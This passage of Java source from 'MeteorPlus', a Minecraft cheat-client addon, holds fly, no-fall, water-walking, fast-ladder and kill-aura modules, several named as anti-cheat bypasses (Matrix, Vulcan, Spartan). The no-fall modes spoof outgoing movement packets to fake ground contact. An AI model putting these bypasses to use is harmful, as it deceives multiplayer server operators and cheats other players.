43 | .build() 44 | ); 45 | public final Setting> itemsConfigs = sgGeneral.add(new ItemDataSetting.Builder() 46 | .name("物品配置") 47 | .description("每个物品的配置") 48 | .defaultData(defaultBlockConfig) 49 | .build() 50 | ); 51 | } 52 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/MultiTasks.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules; 2 | 3 | import meteordevelopment.meteorclient.systems.modules.Module; 4 | import nekiplay.meteorplus.MeteorPlus; 5 | 6 | public class MultiTasks extends Module { 7 | 8 | public MultiTasks() { 9 | super(MeteorPlus.CATEGORY, "双线程", "允许使用双手"); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/autoobsidianmine/AutoObsidianFarmMode.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.autoobsidianmine; 2 | 3 | import meteordevelopment.meteorclient.events.world.CollisionShapeEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.systems.modules.Modules; 6 | import net.minecraft.client.MinecraftClient; 7 | import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket; 8 | 9 | public class AutoObsidianFarmMode { 10 | protected final MinecraftClient mc; 11 | protected final AutoObsidianFarm settings; 12 | private final AutoObsidianFarmModes type; 13 | 14 | public AutoObsidianFarmMode(AutoObsidianFarmModes type) { 15 | this.settings = Modules.get().get(AutoObsidianFarm.class);; 16 | this.mc = MinecraftClient.getInstance(); 17 | this.type = type; 18 | } 19 | 20 | public void onActivate() {} 21 | public void onDeactivate() {} 22 | public void onTickEventPre(TickEvent.Pre event) {} 23 | public void onCollisionShape(CollisionShapeEvent event) {} 24 | 25 | public void onMovePacket(PlayerMoveC2SPacket playerMove) {} 26 | 27 | public String getInfoString() { return ""; } 28 | } 29 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/autoobsidianmine/AutoObsidianFarmModes.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.autoobsidianmine; 2 | 3 | public enum AutoObsidianFarmModes { 4 | Portals_Vanila, 5 | Portal_Homes, 6 | Cauldrons; 7 | 8 | @Override 9 | public String toString() { 10 | String name = name(); 11 | return name.replace('_', ' '); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/fastladder/FastLadderMode.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.fastladder; 2 | 3 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.systems.modules.Modules; 6 | import net.minecraft.client.MinecraftClient; 7 | 8 | public class FastLadderMode { 9 | protected final MinecraftClient mc; 10 | protected final FastLadderPlus settings; 11 | private final FastLadderModes type; 12 | 13 | public FastLadderMode(FastLadderModes type) { 14 | this.settings = Modules.get().get(FastLadderPlus.class); 15 | this.mc = MinecraftClient.getInstance(); 16 | this.type = type; 17 | } 18 | 19 | public void onSendPacket(PacketEvent.Send event) {} 20 | public void onSentPacket(PacketEvent.Sent event) {} 21 | 22 | public void onTickEventPre(TickEvent.Pre event) {} 23 | public void onTickEventPost(TickEvent.Post event) {} 24 | 25 | public void onActivate() {} 26 | public void onDeactivate() {} 27 | } 28 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/fastladder/FastLadderModes.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.fastladder; 2 | 3 | public enum FastLadderModes { 4 | Spartan; 5 | 6 | @Override 7 | public String toString() { 8 | return super.toString().replace('_', ' '); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/fastladder/FastLadderPlus.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.fastladder; 2 | 3 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.settings.EnumSetting; 6 | import meteordevelopment.meteorclient.settings.Setting; 7 | import meteordevelopment.meteorclient.settings.SettingGroup; 8 | import meteordevelopment.meteorclient.systems.modules.Module; 9 | import meteordevelopment.orbit.EventHandler; 10 | import nekiplay.meteorplus.MeteorPlus; 11 | import nekiplay.meteorplus.features.modules.fastladder.modes.Spartan; 12 | 13 | public class FastLadderPlus extends Module { 14 | public FastLadderPlus() { 15 | super(MeteorPlus.CATEGORY, "快速爬梯子+", "绕过反作弊的快速爬梯子"); 16 | onSpiderModeChanged(spiderMode.get()); 17 | } 18 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 19 | 20 | public final Setting spiderMode = sgGeneral.add(new EnumSetting.Builder() 21 | .name("模式") 22 | .description("类似蜘蛛的方法") 23 | .defaultValue(FastLadderModes.Spartan) 24 | .onModuleActivated(spiderModesSetting -> onSpiderModeChanged(spiderModesSetting.get())) 25 | .onChanged(this::onSpiderModeChanged) 26 | .build() 27 | ); 28 | 29 | private FastLadderMode currentMode; 30 | 31 | @Override 32 | public void onActivate() { 33 | currentMode.onActivate(); 34 | } 35 | 36 | @Override 37 | public void onDeactivate() { 38 | currentMode.onDeactivate(); 39 | } 40 | 41 | @EventHandler 42 | private void onPreTick(TickEvent.Pre event) { 43 | currentMode.onTickEventPre(event); 44 | } 45 | 46 | @EventHandler 47 | private void onPostTick(TickEvent.Post event) { 48 | currentMode.onTickEventPost(event); 49 | } 50 | @EventHandler 51 | public void onSendPacket(PacketEvent.Send event) { 52 | currentMode.onSendPacket(event); 53 | } 54 | @EventHandler 55 | public void onSentPacket(PacketEvent.Sent event) { 56 | currentMode.onSentPacket(event); 57 | } 58 | 59 | 60 | private void onSpiderModeChanged(FastLadderModes mode) { 61 | switch (mode) { 62 | case Spartan -> currentMode = new Spartan(); 63 | } 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/fly/FlyMode.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.fly; 2 | 3 | import meteordevelopment.meteorclient.events.entity.DamageEvent; 4 | import meteordevelopment.meteorclient.events.entity.player.CanWalkOnFluidEvent; 5 | import meteordevelopment.meteorclient.events.entity.player.PlayerMoveEvent; 6 | import meteordevelopment.meteorclient.events.entity.player.SendMovementPacketsEvent; 7 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 8 | import meteordevelopment.meteorclient.events.world.CollisionShapeEvent; 9 | import meteordevelopment.meteorclient.events.world.TickEvent; 10 | import meteordevelopment.meteorclient.systems.modules.Modules; 11 | import net.minecraft.client.MinecraftClient; 12 | 13 | public class FlyMode { 14 | protected final MinecraftClient mc; 15 | protected final FlyPlus settings; 16 | private final FlyModes type; 17 | 18 | public FlyMode(FlyModes type) { 19 | this.settings = Modules.get().get(FlyPlus.class); 20 | this.mc = MinecraftClient.getInstance(); 21 | this.type = type; 22 | } 23 | 24 | public void onSendPacket(PacketEvent.Send event) {} 25 | public void onSentPacket(PacketEvent.Sent event) {} 26 | public void onRecivePacket(PacketEvent.Receive event) {} 27 | public void onPlayerMoveEvent(PlayerMoveEvent event) {} 28 | public void onPlayerMoveSendPre(SendMovementPacketsEvent.Pre event) {} 29 | 30 | public void onCanWalkOnFluid(CanWalkOnFluidEvent event) {} 31 | public void onCollisionShape(CollisionShapeEvent event) {} 32 | public void onDamage(DamageEvent event) {} 33 | 34 | public void onTickEventPre(TickEvent.Pre event) {} 35 | public void onTickEventPost(TickEvent.Post event) {} 36 | 37 | public void onActivate() {} 38 | public void onDeactivate() {} 39 | } 40 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/fly/FlyModes.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.fly; 2 | 3 | public enum FlyModes { 4 | Vulcan_Clip, 5 | Matrix_Exploit_2, 6 | Matrix_Exploit, 7 | Damage 8 | ; 9 | 10 | @Override 11 | public String toString() { 12 | String name = name(); 13 | return name.replace('_', ' '); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/fly/modes/Damage.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.fly.modes; 2 | 3 | import meteordevelopment.meteorclient.events.entity.DamageEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.mixininterface.IVec3d; 6 | import net.minecraft.util.math.Vec3d; 7 | import nekiplay.meteorplus.features.modules.fly.FlyMode; 8 | import nekiplay.meteorplus.features.modules.fly.FlyModes; 9 | 10 | public class Damage extends FlyMode { 11 | public Damage() { 12 | super(FlyModes.Damage); 13 | } 14 | 15 | @Override 16 | public void onActivate() { 17 | damaged = false; 18 | ticks = 0; 19 | } 20 | 21 | @Override 22 | public void onDeactivate() { 23 | 24 | } 25 | 26 | private int ticks = 0; 27 | private boolean damaged = false; 28 | 29 | public void onTickEventPre(TickEvent.Pre event) { 30 | if (damaged && ticks != settings.speedDamageTicks.get()) { 31 | float yaw = mc.player.getYaw(); 32 | Vec3d forward = Vec3d.fromPolar(0, yaw); 33 | Vec3d right = Vec3d.fromPolar(0, yaw + 90); 34 | 35 | double velX = 0; 36 | double velZ = 0; 37 | double s = settings.speedDamage.get(); 38 | double speedValue = 0.01; 39 | if (mc.options.forwardKey.isPressed()) { 40 | velX += forward.x * s; 41 | velZ += forward.z * s; 42 | } 43 | if (mc.options.backKey.isPressed()) { 44 | velX -= forward.x * s; 45 | velZ -= forward.z * s; 46 | } 47 | 48 | if (mc.options.rightKey.isPressed()) { 49 | velX += right.x * s; 50 | velZ += right.z * s; 51 | } 52 | if (mc.options.leftKey.isPressed()) { 53 | velX -= right.x * s; 54 | velZ -= right.z * s; 55 | } 56 | 57 | ((IVec3d) mc.player.getVelocity()).set(velX, settings.speedDamageY.get(), velZ); 58 | ticks++; 59 | } 60 | else if (damaged) { 61 | damaged = false; 62 | ticks = 0; 63 | } 64 | } 65 | 66 | @Override 67 | public void onDamage(DamageEvent event) { 68 | if (event.entity == mc.player) { 69 | if (event.source.getType() != mc.world.getDamageSources().fall().getType()) { 70 | damaged = true; 71 | ticks = 0; 72 | 73 | } 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/integrations/MapIntegration.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.integrations; 2 | 3 | import baritone.api.BaritoneAPI; 4 | import baritone.api.IBaritone; 5 | import meteordevelopment.meteorclient.settings.BoolSetting; 6 | import meteordevelopment.meteorclient.settings.Setting; 7 | import meteordevelopment.meteorclient.settings.SettingGroup; 8 | import meteordevelopment.meteorclient.systems.modules.Module; 9 | import nekiplay.meteorplus.MeteorPlus; 10 | import nekiplay.meteorplus.MixinPlugin; 11 | 12 | public class MapIntegration extends Module { 13 | public MapIntegration() { 14 | super(MeteorPlus.CATEGORYMODS, "Mini地图+(太酷啦)", "改进Mini地图上的模块"); 15 | } 16 | 17 | private final SettingGroup baritoneIntegration = settings.createGroup("Baritone"); 18 | 19 | public final Setting baritoneGoto = baritoneIntegration.add(new BoolSetting.Builder() 20 | .name("Baritone寻路") 21 | .description("在选定位置使用Baritone移动") 22 | .defaultValue(true) 23 | .build() 24 | ); 25 | 26 | public final Setting baritoneElytra = baritoneIntegration.add(new BoolSetting.Builder() 27 | .name("Baritoneq飞行") 28 | .description("使用鞘翅自动寻路飞行,但是你要设置地图种子,只能在地狱使用") 29 | .defaultValue(true) 30 | .visible(() -> { 31 | boolean allow = false; 32 | for (IBaritone baritone : BaritoneAPI.getProvider().getAllBaritones()) { 33 | if (!baritone.getCommandManager().getRegistry().stream().filter((a) -> a.getNames().get(0).equalsIgnoreCase("elytra")).findAny().isEmpty()) { 34 | allow = true; 35 | break; 36 | } 37 | } 38 | if (allow) { 39 | allow = baritoneGoto.get(); 40 | } 41 | return allow; 42 | }) 43 | .build() 44 | ); 45 | 46 | private final SettingGroup fullMap = settings.createGroup("Full map"); 47 | 48 | public final Setting showBlock = fullMap.add(new BoolSetting.Builder() 49 | .name("显示方块名称") 50 | .description("显示点击位置的方块名称") 51 | .visible(() -> MixinPlugin.isXaeroWorldMapresent) 52 | .defaultValue(true) 53 | .build() 54 | ); 55 | } 56 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/jesus/JesusMode.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.jesus; 2 | 3 | import meteordevelopment.meteorclient.events.entity.player.CanWalkOnFluidEvent; 4 | import meteordevelopment.meteorclient.events.entity.player.PlayerMoveEvent; 5 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 6 | import meteordevelopment.meteorclient.events.world.CollisionShapeEvent; 7 | import meteordevelopment.meteorclient.events.world.TickEvent; 8 | import meteordevelopment.meteorclient.systems.modules.Modules; 9 | import net.minecraft.client.MinecraftClient; 10 | 11 | public class JesusMode { 12 | protected final MinecraftClient mc; 13 | protected final JesusPlus settings; 14 | private final JesusModes type; 15 | 16 | public JesusMode(JesusModes type) { 17 | this.settings = Modules.get().get(JesusPlus.class); 18 | this.mc = MinecraftClient.getInstance(); 19 | this.type = type; 20 | } 21 | 22 | public void onSendPacket(PacketEvent.Send event) {} 23 | public void onSentPacket(PacketEvent.Sent event) {} 24 | public void onPlayerMoveEvent(PlayerMoveEvent event) {} 25 | 26 | public void onCanWalkOnFluid(CanWalkOnFluidEvent event) {} 27 | public void onCollisionShape(CollisionShapeEvent event) {} 28 | 29 | public void onTickEventPre(TickEvent.Pre event) {} 30 | public void onTickEventPost(TickEvent.Post event) {} 31 | 32 | public void onActivate() {} 33 | public void onDeactivate() {} 34 | } 35 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/jesus/JesusModes.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.jesus; 2 | 3 | public enum JesusModes { 4 | Matrix_Zoom, 5 | Matrix_Zoom_2, 6 | Vulcan_Exploit; 7 | 8 | @Override 9 | public String toString() { 10 | return super.toString().replace('_', ' '); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/jesus/modes/MatrixZoom.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.jesus.modes; 2 | 3 | import meteordevelopment.meteorclient.events.world.TickEvent; 4 | import meteordevelopment.meteorclient.mixininterface.IVec3d; 5 | import net.minecraft.block.Blocks; 6 | import net.minecraft.util.math.BlockPos; 7 | import net.minecraft.util.math.Vec3d; 8 | import nekiplay.meteorplus.features.modules.jesus.JesusMode; 9 | import nekiplay.meteorplus.features.modules.jesus.JesusModes; 10 | 11 | public class MatrixZoom extends JesusMode { 12 | public MatrixZoom() { 13 | super(JesusModes.Matrix_Zoom); 14 | } 15 | 16 | private final float range = 0.005f; 17 | 18 | @Override 19 | public void onTickEventPre(TickEvent.Pre event) { 20 | float yaw = mc.player.getYaw(); 21 | Vec3d forward = Vec3d.fromPolar(0, yaw); 22 | Vec3d right = Vec3d.fromPolar(0, yaw + 90); 23 | 24 | double velX = 0; 25 | double velZ = 0; 26 | double s = 0.5; 27 | double speedValue = settings.speed.get(); 28 | 29 | if (mc.options.forwardKey.isPressed()) { 30 | velX += forward.x * s * speedValue; 31 | velZ += forward.z * s * speedValue; 32 | } 33 | if (mc.options.backKey.isPressed()) { 34 | velX -= forward.x * s * speedValue; 35 | velZ -= forward.z * s * speedValue; 36 | } 37 | 38 | if (mc.options.rightKey.isPressed()) { 39 | velX += right.x * s * speedValue; 40 | velZ += right.z * s * speedValue; 41 | } 42 | if (mc.options.leftKey.isPressed()) { 43 | velX -= right.x * s * speedValue; 44 | velZ -= right.z * s * speedValue; 45 | } 46 | if (mc.world.getBlockState(new BlockPos(mc.player.getBlockX(), (int) (mc.player.getBlockY() + range), mc.player.getBlockZ())).getBlock() == Blocks.WATER && !mc.player.horizontalCollision) { 47 | ((IVec3d) mc.player.getVelocity()).set(velX, 0, velZ); 48 | } 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/jesus/modes/MatrixZoom2.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.jesus.modes; 2 | 3 | import meteordevelopment.meteorclient.events.world.TickEvent; 4 | import meteordevelopment.meteorclient.mixininterface.IVec3d; 5 | import net.minecraft.block.Blocks; 6 | import net.minecraft.util.math.BlockPos; 7 | import net.minecraft.util.math.Vec3d; 8 | import nekiplay.meteorplus.features.modules.jesus.JesusMode; 9 | import nekiplay.meteorplus.features.modules.jesus.JesusModes; 10 | 11 | public class MatrixZoom2 extends JesusMode { 12 | public MatrixZoom2() { 13 | super(JesusModes.Matrix_Zoom_2); 14 | } 15 | 16 | private final float range = 0.005f; 17 | private int tick = 0; 18 | 19 | @Override 20 | public void onTickEventPre(TickEvent.Pre event) { 21 | float yaw = mc.player.getYaw(); 22 | Vec3d forward = Vec3d.fromPolar(0, yaw); 23 | Vec3d right = Vec3d.fromPolar(0, yaw + 90); 24 | 25 | double velX = 0; 26 | double velZ = 0; 27 | double s = 0.5; 28 | double speedValue = settings.speed.get(); 29 | 30 | if (mc.options.forwardKey.isPressed()) { 31 | velX += forward.x * s * speedValue; 32 | velZ += forward.z * s * speedValue; 33 | } 34 | if (mc.options.backKey.isPressed()) { 35 | velX -= forward.x * s * speedValue; 36 | velZ -= forward.z * s * speedValue; 37 | } 38 | 39 | if (mc.options.rightKey.isPressed()) { 40 | velX += right.x * s * speedValue; 41 | velZ += right.z * s * speedValue; 42 | } 43 | if (mc.options.leftKey.isPressed()) { 44 | velX -= right.x * s * speedValue; 45 | velZ -= right.z * s * speedValue; 46 | } 47 | if (mc.world.getBlockState(new BlockPos((int) mc.player.getPos().x, (int) (mc.player.getPos().y + range), (int) mc.player.getPos().z)).getBlock() == Blocks.WATER && !mc.player.horizontalCollision) { 48 | if (tick == 0) { 49 | ((IVec3d) mc.player.getVelocity()).set(velX, 0.030091, velZ); 50 | } 51 | else if (tick == 1) { 52 | ((IVec3d) mc.player.getVelocity()).set(velX, -0.030091, velZ); 53 | } 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/killaura/KillAuraPlusMode.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.killaura; 2 | 3 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.systems.modules.Modules; 6 | import nekiplay.meteorplus.features.modules.nofall.NoFallPlus; 7 | import net.minecraft.client.MinecraftClient; 8 | 9 | public class KillAuraPlusMode { 10 | protected final MinecraftClient mc; 11 | protected final KillAuraPlus settings; 12 | private final KillAuraPlusModes type; 13 | 14 | public KillAuraPlusMode(KillAuraPlusModes type) { 15 | this.settings = Modules.get().get(KillAuraPlus.class); 16 | this.mc = MinecraftClient.getInstance(); 17 | this.type = type; 18 | } 19 | 20 | public void onTick(TickEvent.Post event) { } 21 | 22 | public void onDeactivate() { } 23 | 24 | public void onSendPacket(PacketEvent.Send event) { } 25 | 26 | public String getInfoString() { return ""; } 27 | } 28 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/killaura/KillAuraPlusModes.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.killaura; 2 | 3 | public enum KillAuraPlusModes { 4 | None, 5 | LiquidBounce, 6 | } 7 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/nofall/NoFallModes.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.nofall; 2 | 3 | public enum NoFallModes { 4 | Matrix_New, 5 | Vulcan, 6 | Elytra_Clip; 7 | @Override 8 | public String toString() { 9 | return super.toString().replace('_', ' '); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/nofall/NoFallPlus.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.nofall; 2 | 3 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.settings.EnumSetting; 6 | import meteordevelopment.meteorclient.settings.Setting; 7 | import meteordevelopment.meteorclient.settings.SettingGroup; 8 | import meteordevelopment.meteorclient.systems.modules.Module; 9 | import meteordevelopment.orbit.EventHandler; 10 | import nekiplay.meteorplus.MeteorPlus; 11 | import nekiplay.meteorplus.features.modules.nofall.modes.Eclip; 12 | import nekiplay.meteorplus.features.modules.nofall.modes.MatrixNew; 13 | import nekiplay.meteorplus.features.modules.nofall.modes.Vulcan; 14 | 15 | public class NoFallPlus extends Module { 16 | public NoFallPlus() { 17 | super(MeteorPlus.CATEGORY, "无摔伤+", "规避摔落伤害或减少摔落伤害"); 18 | onModeChanged(mode.get()); 19 | } 20 | 21 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 22 | private NofallMode currentMode; 23 | 24 | public final Setting mode = sgGeneral.add(new EnumSetting.Builder() 25 | .name("模式") 26 | .description("应用无摔落伤害的方法") 27 | .defaultValue(NoFallModes.Elytra_Clip) 28 | .onModuleActivated(spiderModesSetting -> onModeChanged(spiderModesSetting.get())) 29 | .onChanged(this::onModeChanged) 30 | .build() 31 | ); 32 | 33 | @Override 34 | public void onActivate() { 35 | currentMode.onActivate(); 36 | } 37 | 38 | @Override 39 | public void onDeactivate() { 40 | currentMode.onDeactivate(); 41 | } 42 | 43 | @EventHandler 44 | private void onPreTick(TickEvent.Pre event) { 45 | currentMode.onTickEventPre(event); 46 | } 47 | 48 | @EventHandler 49 | private void onPostTick(TickEvent.Post event) { 50 | currentMode.onTickEventPost(event); 51 | } 52 | @EventHandler 53 | public void onSendPacket(PacketEvent.Send event) { 54 | currentMode.onSendPacket(event); 55 | } 56 | @EventHandler 57 | public void onSentPacket(PacketEvent.Sent event) { 58 | currentMode.onSentPacket(event); 59 | } 60 | 61 | 62 | private void onModeChanged(NoFallModes mode) { 63 | switch (mode) { 64 | case Elytra_Clip -> currentMode = new Eclip(); 65 | case Matrix_New -> currentMode = new MatrixNew(); 66 | case Vulcan -> currentMode = new Vulcan(); 67 | } 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/nofall/NofallMode.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.nofall; 2 | 3 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.systems.modules.Modules; 6 | import net.minecraft.client.MinecraftClient; 7 | 8 | public class NofallMode { 9 | protected final MinecraftClient mc; 10 | protected final NoFallPlus settings; 11 | private final NoFallModes type; 12 | 13 | public NofallMode(NoFallModes type) { 14 | this.settings = Modules.get().get(NoFallPlus.class); 15 | this.mc = MinecraftClient.getInstance(); 16 | this.type = type; 17 | } 18 | 19 | public void onSendPacket(PacketEvent.Send event) {} 20 | public void onSentPacket(PacketEvent.Sent event) {} 21 | public void onReceivePacket(PacketEvent.Receive event) {} 22 | 23 | public void onTickEventPre(TickEvent.Pre event) {} 24 | public void onTickEventPost(TickEvent.Post event) {} 25 | 26 | public void onActivate() {} 27 | public void onDeactivate() {} 28 | } 29 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/nofall/modes/MatrixNew.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.nofall.modes; 2 | 3 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 4 | import meteordevelopment.meteorclient.mixin.PlayerMoveC2SPacketAccessor; 5 | import meteordevelopment.meteorclient.systems.modules.Modules; 6 | import meteordevelopment.meteorclient.systems.modules.world.Timer; 7 | import nekiplay.meteorplus.features.modules.nofall.NoFallModes; 8 | import nekiplay.meteorplus.features.modules.nofall.NofallMode; 9 | import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket; 10 | import net.minecraft.util.shape.VoxelShape; 11 | 12 | import java.util.Iterator; 13 | 14 | public class MatrixNew extends NofallMode { 15 | public MatrixNew() { 16 | super(NoFallModes.Matrix_New); 17 | } 18 | private Timer timer; 19 | 20 | @Override 21 | public void onDeactivate() { 22 | timer = Modules.get().get(Timer.class); 23 | timer.setOverride(Timer.OFF); 24 | } 25 | 26 | @Override 27 | public void onSendPacket(PacketEvent.Send event) { 28 | if (event.packet instanceof PlayerMoveC2SPacket) { 29 | PlayerMoveC2SPacket packet = (PlayerMoveC2SPacket)event.packet; 30 | PlayerMoveC2SPacketAccessor accessor = (PlayerMoveC2SPacketAccessor)packet; 31 | timer = Modules.get().get(Timer.class); 32 | 33 | if (!mc.player.isOnGround()) { 34 | if (mc.player.fallDistance > 2.69) { 35 | timer.setOverride(0.3); 36 | accessor.setOnGround(true); 37 | mc.player.fallDistance = 0; 38 | } 39 | if (mc.player.fallDistance > 3.5) { 40 | timer.setOverride(0.3); 41 | } 42 | else { 43 | timer.setOverride(Timer.OFF); 44 | } 45 | } 46 | Iterator voxelShapeIterator = mc.world.getCollisions(mc.player, mc.player.getBoundingBox().offset(0.0, mc.player.getVelocity().y, 0.0)).iterator(); 47 | boolean isEmpty = true; 48 | while (voxelShapeIterator.hasNext()) { 49 | VoxelShape shape = voxelShapeIterator.next(); 50 | isEmpty = shape.isEmpty(); 51 | } 52 | if (!isEmpty) { 53 | if (!((PlayerMoveC2SPacket) event.packet).isOnGround() && mc.player.getVelocity().y < -0.6) { 54 | accessor.setOnGround(true); 55 | } 56 | } 57 | } 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/nofall/modes/Vulcan.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.nofall.modes; 2 | 3 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.mixin.PlayerMoveC2SPacketAccessor; 6 | import nekiplay.meteorplus.features.modules.nofall.NoFallModes; 7 | import nekiplay.meteorplus.features.modules.nofall.NofallMode; 8 | import nekiplay.meteorplus.utils.MovementUtils; 9 | import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket; 10 | 11 | public class Vulcan extends NofallMode { 12 | public Vulcan() { 13 | super(NoFallModes.Vulcan); 14 | } 15 | 16 | private boolean vulCanNoFall = false; 17 | private boolean vulCantNoFall = false; 18 | private boolean nextSpoof = false; 19 | private boolean doSpoof = false; 20 | 21 | @Override 22 | public void onActivate() { 23 | vulCanNoFall = false; 24 | vulCantNoFall = false; 25 | nextSpoof = false; 26 | doSpoof = false; 27 | } 28 | 29 | @Override 30 | public void onTickEventPre(TickEvent.Pre event) { 31 | if(!vulCanNoFall && mc.player.fallDistance > 3.25) { 32 | vulCanNoFall = true; 33 | } 34 | if(vulCanNoFall && mc.player.isOnGround() && vulCantNoFall) { 35 | vulCantNoFall = false; 36 | } 37 | if(vulCantNoFall) return; 38 | if(nextSpoof) { 39 | mc.player.getVelocity().add(0, -0.1, 0); 40 | mc.player.fallDistance = -0.1f; 41 | MovementUtils.strafe(0.3f); 42 | nextSpoof = false; 43 | } 44 | if(mc.player.fallDistance > 3.5625f) { 45 | mc.player.fallDistance = 0.0f; 46 | doSpoof = true; 47 | nextSpoof = true; 48 | } 49 | } 50 | 51 | @Override 52 | public void onSendPacket(PacketEvent.Send event) { 53 | if (event.packet instanceof PlayerMoveC2SPacket) { 54 | PlayerMoveC2SPacket packet = (PlayerMoveC2SPacket) event.packet; 55 | PlayerMoveC2SPacketAccessor accessor = (PlayerMoveC2SPacketAccessor) packet; 56 | 57 | 58 | accessor.setOnGround(true); 59 | doSpoof = false; 60 | accessor.setY((double) Math.round(mc.player.getPos().y * 2) / 2); 61 | mc.player.setPosition(mc.player.getPos().x, ((PlayerMoveC2SPacket) event.packet).getY(mc.player.getPos().y), mc.player.getPos().z); 62 | } 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/features/modules/speed/SpeedMode.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.features.modules.speed; 2 | 3 | import meteordevelopment.meteorclient.events.entity.player.PlayerMoveEvent; 4 | import meteordevelopment.meteorclient.events.packets.PacketEvent; 5 | import meteordevelopment.meteorclient.events.world.TickEvent; 6 | import meteordevelopment.meteorclient.systems.modules.Modules; 7 | import net.minecraft.client.MinecraftClient; 8 | import net.minecraft.entity.effect.StatusEffects; 9 | 10 | public class SpeedMode { 11 | protected final MinecraftClient mc; 12 | protected final SpeedPlus settings; 13 | private final SpeedModes type; 14 | 15 | public SpeedMode(SpeedModes type) { 16 | this.settings = Modules.get().get(SpeedPlus.class); 17 | this.mc = MinecraftClient.getInstance(); 18 | this.type = type; 19 | } 20 | 21 | public void 